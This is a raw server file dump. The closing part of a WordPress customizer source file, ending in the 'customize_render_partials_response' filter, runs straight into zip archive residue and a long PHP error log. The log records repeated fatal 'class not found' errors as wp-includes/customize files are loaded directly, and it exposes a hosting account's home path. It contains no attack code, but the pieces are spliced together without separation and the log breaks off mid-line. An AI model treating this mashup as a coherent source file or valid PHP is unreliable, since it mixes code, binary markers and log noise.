$this->manager->validate_setting_values( $this->manager->unsanitized_post_values() ); $exported_setting_validities = array_map( array( $this->manager, 'prepare_setting_validity_for_js' ), $setting_validities ); $response['setting_validities'] = $exported_setting_validities; /** * Filters the response from rendering the partials. * * Plugins may use this filter to inject `$scripts` and `$styles`, which are dependencies * for the partials being rendered. The response data will be available to the client via * the `render-partials-response` JS event, so the client can then inject the scripts and * styles into the DOM if they have not already been enqueued there. * * If plugins do this, they'll need to take care for any scripts that do `document.write()` * and make sure that these are not injected, or else to override the function to no-op, * or else the page will be destroyed. * * Plugins should be aware that `$scripts` and `$styles` may eventually be included by * default in the response. * * @since 4.5.0 * * @param array $response { * Response. * * @type array $contents Associative array mapping a partial ID its corresponding array of contents * for the containers requested. * @type array $errors List of errors triggered during rendering of partials, if `WP_DEBUG_DISPLAY` * is enabled. * } * @param WP_Customize_Selective_Refresh $refresh Selective refresh component. * @param array $partials Placements' context data for the partials rendered in the request. * The array is keyed by partial ID, with each item being an array of * the placements' context data. */ $response = apply_filters( 'customize_render_partials_response', $response, $this, $partials ); wp_send_json_success( $response ); } } PK!.k error_lognu[[18-May-2025 15:50:37 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-media-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-media-control.php on line 17 [18-May-2025 15:50:39 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-area-customize-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17 [18-May-2025 15:50:40 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21 [18-May-2025 15:50:43 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-cropped-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17 [18-May-2025 15:50:44 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17 [18-May-2025 15:50:46 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-image-control.php on line 17 [18-May-2025 15:50:48 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19 [18-May-2025 15:50:48 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-section.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-section.php on line 19 [18-May-2025 15:50:50 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-position-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-position-control.php on line 17 [18-May-2025 15:50:51 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-control.php on line 17 [18-May-2025 15:50:53 America/New_York] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-section.php:11 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11 [18-May-2025 15:50:54 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18 [18-May-2025 15:50:55 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-site-icon-control.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19 [18-May-2025 15:50:56 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20 [18-May-2025 15:50:58 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19 [18-May-2025 15:51:00 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17 [18-May-2025 15:51:01 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-sidebar-section.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17 [18-May-2025 15:51:02 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-panel.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-panel.php on line 17 [18-May-2025 15:51:03 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19 [18-May-2025 15:51:08 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17 [18-May-2025 15:51:10 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-section.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19 [18-May-2025 15:51:11 America/New_York] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-control.php:11 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11 [18-May-2025 15:51:12 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-form-customize-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17 [18-May-2025 15:51:13 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-upload-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-upload-control.php on line 17 [18-May-2025 15:51:15 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-date-time-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-date-time-control.php on line 17 [18-May-2025 15:51:16 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-custom-css-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19 [18-May-2025 15:51:17 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-color-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-color-control.php on line 17 [18-May-2025 15:51:18 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-setting.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17 [18-May-2025 15:51:19 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-code-editor-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17 [18-May-2025 15:51:20 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-filter-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-filter-setting.php on line 19 [18-May-2025 15:51:21 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17 [18-May-2025 15:51:23 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-control.php on line 17 [18-May-2025 15:51:24 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17 [18-May-2025 15:51:25 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-theme-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-theme-control.php on line 17 [18-May-2025 18:53:42 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-theme-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-theme-control.php on line 17 [18-May-2025 18:53:43 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-theme-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-theme-control.php on line 17 [18-May-2025 18:53:45 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-theme-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-theme-control.php on line 17 [18-May-2025 18:53:48 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-theme-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-theme-control.php on line 17 [18-May-2025 18:53:48 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-color-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-color-control.php on line 17 [18-May-2025 18:53:49 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-color-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-color-control.php on line 17 [18-May-2025 18:53:51 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-color-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-color-control.php on line 17 [18-May-2025 18:53:54 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-color-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-color-control.php on line 17 [18-May-2025 18:53:55 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19 [18-May-2025 18:53:56 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19 [18-May-2025 18:53:57 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19 [18-May-2025 18:54:00 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19 [18-May-2025 18:54:01 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-form-customize-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17 [18-May-2025 18:54:02 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-form-customize-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17 [18-May-2025 18:54:04 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-form-customize-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17 [18-May-2025 18:54:07 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-form-customize-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17 [18-May-2025 18:54:07 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19 [18-May-2025 18:54:08 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19 [18-May-2025 18:54:10 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19 [18-May-2025 18:54:12 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19 [18-May-2025 18:54:13 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-code-editor-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17 [18-May-2025 18:54:14 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-code-editor-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17 [18-May-2025 18:54:16 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-code-editor-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17 [18-May-2025 18:54:18 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-code-editor-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17 [18-May-2025 18:54:19 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19 [18-May-2025 18:54:20 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19 [18-May-2025 18:54:21 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19 [18-May-2025 18:54:24 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19 [18-May-2025 18:54:25 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-panel.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-panel.php on line 17 [18-May-2025 18:54:25 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-panel.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-panel.php on line 17 [18-May-2025 18:54:27 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-panel.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-panel.php on line 17 [18-May-2025 18:54:30 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-panel.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-panel.php on line 17 [18-May-2025 18:54:30 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-position-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-position-control.php on line 17 [18-May-2025 18:54:31 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-position-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-position-control.php on line 17 [18-May-2025 18:54:33 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-position-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-position-control.php on line 17 [18-May-2025 18:54:36 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-position-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-position-control.php on line 17 [18-May-2025 18:54:37 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20 [18-May-2025 18:54:38 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20 [18-May-2025 18:54:39 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20 [18-May-2025 18:54:42 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20 [18-May-2025 18:54:43 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-image-control.php on line 17 [18-May-2025 18:54:43 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-image-control.php on line 17 [18-May-2025 18:54:45 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-image-control.php on line 17 [18-May-2025 18:54:48 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-image-control.php on line 17 [18-May-2025 18:54:48 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17 [18-May-2025 18:54:49 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17 [18-May-2025 18:54:51 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17 [18-May-2025 18:54:54 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17 [18-May-2025 18:54:55 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18 [18-May-2025 18:54:55 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18 [18-May-2025 18:54:57 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18 [18-May-2025 18:55:00 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18 [18-May-2025 18:55:00 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17 Stack trace: #0 {main} thrown in 